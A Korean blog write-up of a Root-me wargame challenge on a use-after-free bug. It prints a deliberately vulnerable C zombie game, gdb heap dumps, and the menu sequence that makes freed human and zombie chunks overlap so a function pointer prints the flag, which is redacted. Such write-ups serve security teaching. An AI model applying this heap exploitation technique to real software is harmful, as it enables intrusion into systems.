1. intro
2. code 및 분석
2.1. code
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
struct Zombie {
int hp;
void (*hurt)();
void (*eatBody)();
void (*attack)();
int living;
};
struct Human {
int hp;
void (*fire)(int);
void (*prayChuckToGiveAMiracle)();
void (*suicide)();
int living;
};
struct Zombie *zombies[3];
struct Human *human = NULL;
void fire(int zombieIndex) {
struct Zombie *zombie = zombies[zombieIndex];
int hits = rand() % 10;
printf("%d hits in his face\n", hits);
zombie->hp -= hits;
if (zombie->hp <= 0) {
memset(zombie, 0, sizeof(struct Zombie));
free(zombie);
zombies[zombieIndex] = NULL;
puts("The zombie die");
}
else {
printf("The zombie has %d HP\n", zombie->hp);
}
}
void prayChuckToGiveAMiracle() {
char flag[32] = { 0 };
FILE *flagFile = fopen(".passwd", "r");
if (flagFile) {
fread(flag, 1, 32, flagFile);
flag[20] = 0;
sleep(5);
puts("Chuck Norris arrives, kills every zombie like a boss. Turns back to you and says:");
puts(flag);
}
exit(0);
}
void suicide() {
puts("You can't survive at this zombie wave. *PAM*");
memset(human, 0, sizeof(struct Human));
free(human);
}
struct Human *newHuman() {
puts("A new human arrives in the battle");
struct Human *human = malloc(sizeof(struct Human));
human->hp = 10 + rand() % 50;
human->fire = fire;
human->prayChuckToGiveAMiracle = prayChuckToGiveAMiracle;
human->suicide = suicide;
human->living = 1;
return human;
}
void sound() {
puts("Rhooarg...");
}
void eatBody(int zombieIndex) {
struct Zombie *zombie = zombies[zombieIndex];
puts("The zombie eats an unfortunate mate, RIP bro");
sleep(2);
puts("But this bro hold a grenade in his hand... Good bye zombie");
memset(zombie, 0, sizeof(struct Zombie));
free(zombie);
zombies[zombieIndex] = NULL;
}
void attack() {
int hits = rand() % 10;
printf("The zombie hits you %d times\n", hits);
human->hp -= hits;
if (human->hp <= 0) {
memset(human, 0, sizeof(struct Human));
free(human);
human = NULL;
puts("You die");
}
else {
printf("You have %d HP\n", human->hp);
}
}
struct Zombie *newZombie() {
puts("A new zombie arrives");
struct Zombie *zombie = malloc(sizeof(struct Zombie));
zombie->hp = 10 + rand() % 40;
zombie->eatBody = eatBody;
zombie->living = 1;
zombie->attack = attack;
return zombie;
}
char getChar() {
char nl;
char ret = getc(stdin);
nl = getc(stdin);
if (nl != '\n')
{
puts("Only one char is requested");
exit(0);
}
return ret;
}
int eraseNl(char *line) {
for (; *line != '\n'; line++);
*line = 0;
return 0;
}
int main() {
int end = 0;
char order = -1;
char nl = -1;
char line[64] = {0};
memset(zombies, 0, 3 * sizeof(struct Zombie *));
while (!end) {
puts("1: Take a new character\n2: Fire on a zombie\n3: Suicide you\n4: Pray Chuck Norris to help you\n5: Raise a new zombie\n6: A zombie attacks\n7: A zombie eats a body\n0: Quit");
order = getChar();
switch (order) {
case '1':
if (human) {
puts("You have already a character");
}
else {
human = newHuman();
}
break;
case '2':
if (human) {
puts("Which zombie do you shoot? (1-3)");
order = getChar() - 0x30;
if (order < 1 || order > 3)
puts("You miss all the target");
else if (zombies[order - 1])
human->fire(order - 1);
else
puts("There isn't a zombie here");
}
else {
puts("You're already dead");
}
break;
case '3':
if (human) {
human->suicide();
}
else {
puts("You're already dead");
}
break;
case '4':
if (human) {
puts("You pray, you pray, you pray...\nAnd you see the zombie in front of you... \nYou die, you die, you die");
memset(human, 0, sizeof(struct Human));
free(human);
human = NULL;
}
else {
puts("You're already dead");
}
break;
case '5':
puts("Which zombie arrives? (1-3)");
order = getChar() - 0x30;
if (order < 1 || order > 3) {
puts("There are only 3 zombies slots on this road");
}
else if (zombies[order - 1] && zombies[order - 1]->living) {
printf("Zombie %d is already here\n", order);
}
else {
zombies[order - 1] = newZombie();
}
break;
case '6':
puts("Which zombie attacks? (1-3)");
order = getChar() - 0x30;
if (order < 1 || order > 3) {
puts("There are only 3 zombie slots on this road");
}
else if (zombies[order - 1] && zombies[order - 1]->living) {
if (human) {
zombies[order - 1]->attack();
}
else {
puts("You're already dead");
}
}
else {
puts("This zombie is already dead");
}
break;
case '7':
puts("Which zombie eats? (1-3)");
order = getChar() - 0x30;
if (order < 1 || order > 3) {
puts("There are only 3 zombies slots on this road");
}
else if (zombies[order - 1]) {
zombies[order - 1]->eatBody(order - 1);
}
else {
puts("This zombie is already dead");
}
break;
case '0':
default:
end = 1;
}
}
return 0;
}
2.2. 분석
앞선 32 bit 문제와 크게 다르지 않다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
heap 영역을 가리키는 pointer 변수가 초기화 되지 않아 use after free 취약점이 발생한다.
3.2. 공격 준비
heap 영역의 구조는
human이 할당되었을때
gef➤ x/40g 0x000055e327e80a80
0x55e327e80a80: 0x000000000000002b 0x000055e3262679ba
0x55e327e80a90: 0x000055e326267acf 0x000055e326267b71
0x55e327e80aa0: 0x0000000000000001 0x0000000000020561
가 되고,
hp 값 | fire 함수 주소 |
playChuckToGiveAMiracle 함수 주소 | suicide 함수 주소 |
living 여부 확인 값 | (human으로 할당된 heap 영역 이후 남은 공간의 크기) |
으로 구성되어있다.
마찬가지로 zombie가 할당되었을때
gef➤ x/40g 0x000055e327e80a80
0x55e327e80a80: 0x0000000000000010 0x0000000000000000
0x55e327e80a90: 0x000055e326267cbc 0x000055e326267d69
0x55e327e80aa0: 0x0000000000000001 0x0000000000020561
가 되고
hp 값, hurt 함수 주소,
eatBody 함수 주소, attack 함수 주소,
living 여부 확인 값
hp 값 | hurt 함수 주소, |
eatBody 함수 주소 | attack 함수 주소 |
living 여부 확인 값 | (zombie로 할당된 heap 영역 이후 남은 공간의 크기) |
으로 구성되어있다.
즉 heap 영역 할당과 해제를 적절히하여 human heap 주소 = zombie heap 주소로 만들어주고,
playChuckToGiveAMiracle 함수 주소의 위치에 해당하는 eatBody 명령을 실행하면 될 것이다.
여기서 중요한 점은 human과 zombie가 살아있는지 확인하는 전역 변수로 선언된
struct Zombie *zombies[3];
struct Human *human = NULL;
부분이다.
모든 부분에서 human 또는 zombie가 새로 생성되면 해당 값에 heap 영역의 주소를 저장하고 죽으면 null 값으로 초기화 하지만 유일하게 suicide 함수에서만 human이 죽어도 human 변수를 초기화하지 않는다.
그러므로 human 생성 후 suicide에 의한 죽음은 heap 영역은 초기화 되더라도 human이 살아있다고 인식하게 된다.
이를 사용해서 human 생성 -> suicide -> zombie 생성을 하면 human heap 주소 = zombie heap 주소가 된다.
목표 중 반을 이뤘다.
현재 heap 영역의 값은 zombie가 생성되었을때의 데이터를 가지고 있기에 초기화를 해야하는데, zombie를 죽이게되면 zombie heap 주소 또한 초기화 되기 때문에 역으로 human을 죽여야하고, human 변수까지 초기화 할 수 있도록 pray check norris to help you 메뉴를 실행한다.
그러면 human heap 주소는 초기화되고, zombie heap 주소는 초기 human heap 주소, 값은 초기화된 상태가 된다.
이후 human을 다시 생성하면
human heap 주소 = zombie heap 주소, heap data = human 값이 된다.
이후 eatbody 함수를 실행하면 flag를 얻을 수 있다.
4. exploit
app-systeme-ch59@challenge03:~$ ./ch59
1: Take a new character
2: Fire on a zombie
3: Suicide you
4: Pray Chuck Norris to help you
5: Raise a new zombie
6: A zombie attacks
7: A zombie eats a body
0: Quit
1
A new human arrives in the battle
1: Take a new character
2: Fire on a zombie
3: Suicide you
4: Pray Chuck Norris to help you
5: Raise a new zombie
6: A zombie attacks
7: A zombie eats a body
0: Quit
3
You can't survive at this zombie wave. *PAM*
1: Take a new character
2: Fire on a zombie
3: Suicide you
4: Pray Chuck Norris to help you
5: Raise a new zombie
6: A zombie attacks
7: A zombie eats a body
0: Quit
5
Which zombie arrives? (1-3)
1
A new zombie arrives
1: Take a new character
2: Fire on a zombie
3: Suicide you
4: Pray Chuck Norris to help you
5: Raise a new zombie
6: A zombie attacks
7: A zombie eats a body
0: Quit
4
You pray, you pray, you pray...
And you see the zombie in front of you...
You die, you die, you die
1: Take a new character
2: Fire on a zombie
3: Suicide you
4: Pray Chuck Norris to help you
5: Raise a new zombie
6: A zombie attacks
7: A zombie eats a body
0: Quit
1
A new human arrives in the battle
1: Take a new character
2: Fire on a zombie
3: Suicide you
4: Pray Chuck Norris to help you
5: Raise a new zombie
6: A zombie attacks
7: A zombie eats a body
0: Quit
7
Which zombie eats? (1-3)
1
Chuck Norris arrives, kills every zombie like a boss. Turns back to you and says:
---------- #flag는 삭제
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x86 - Stack buffer overflow basic 6 (0) | 2022.07.12 |
---|---|
[App-System] ELF x86 - Stack buffer overflow basic 4 (0) | 2022.07.11 |
[App-System] ELF x64 - Stack buffer overflow - PIE (0) | 2022.07.09 |
[App-System] ELF x86 - BSS buffer overflow (0) | 2022.07.08 |
[App-System] ELF x86 - Use After Free - basic (0) | 2022.07.08 |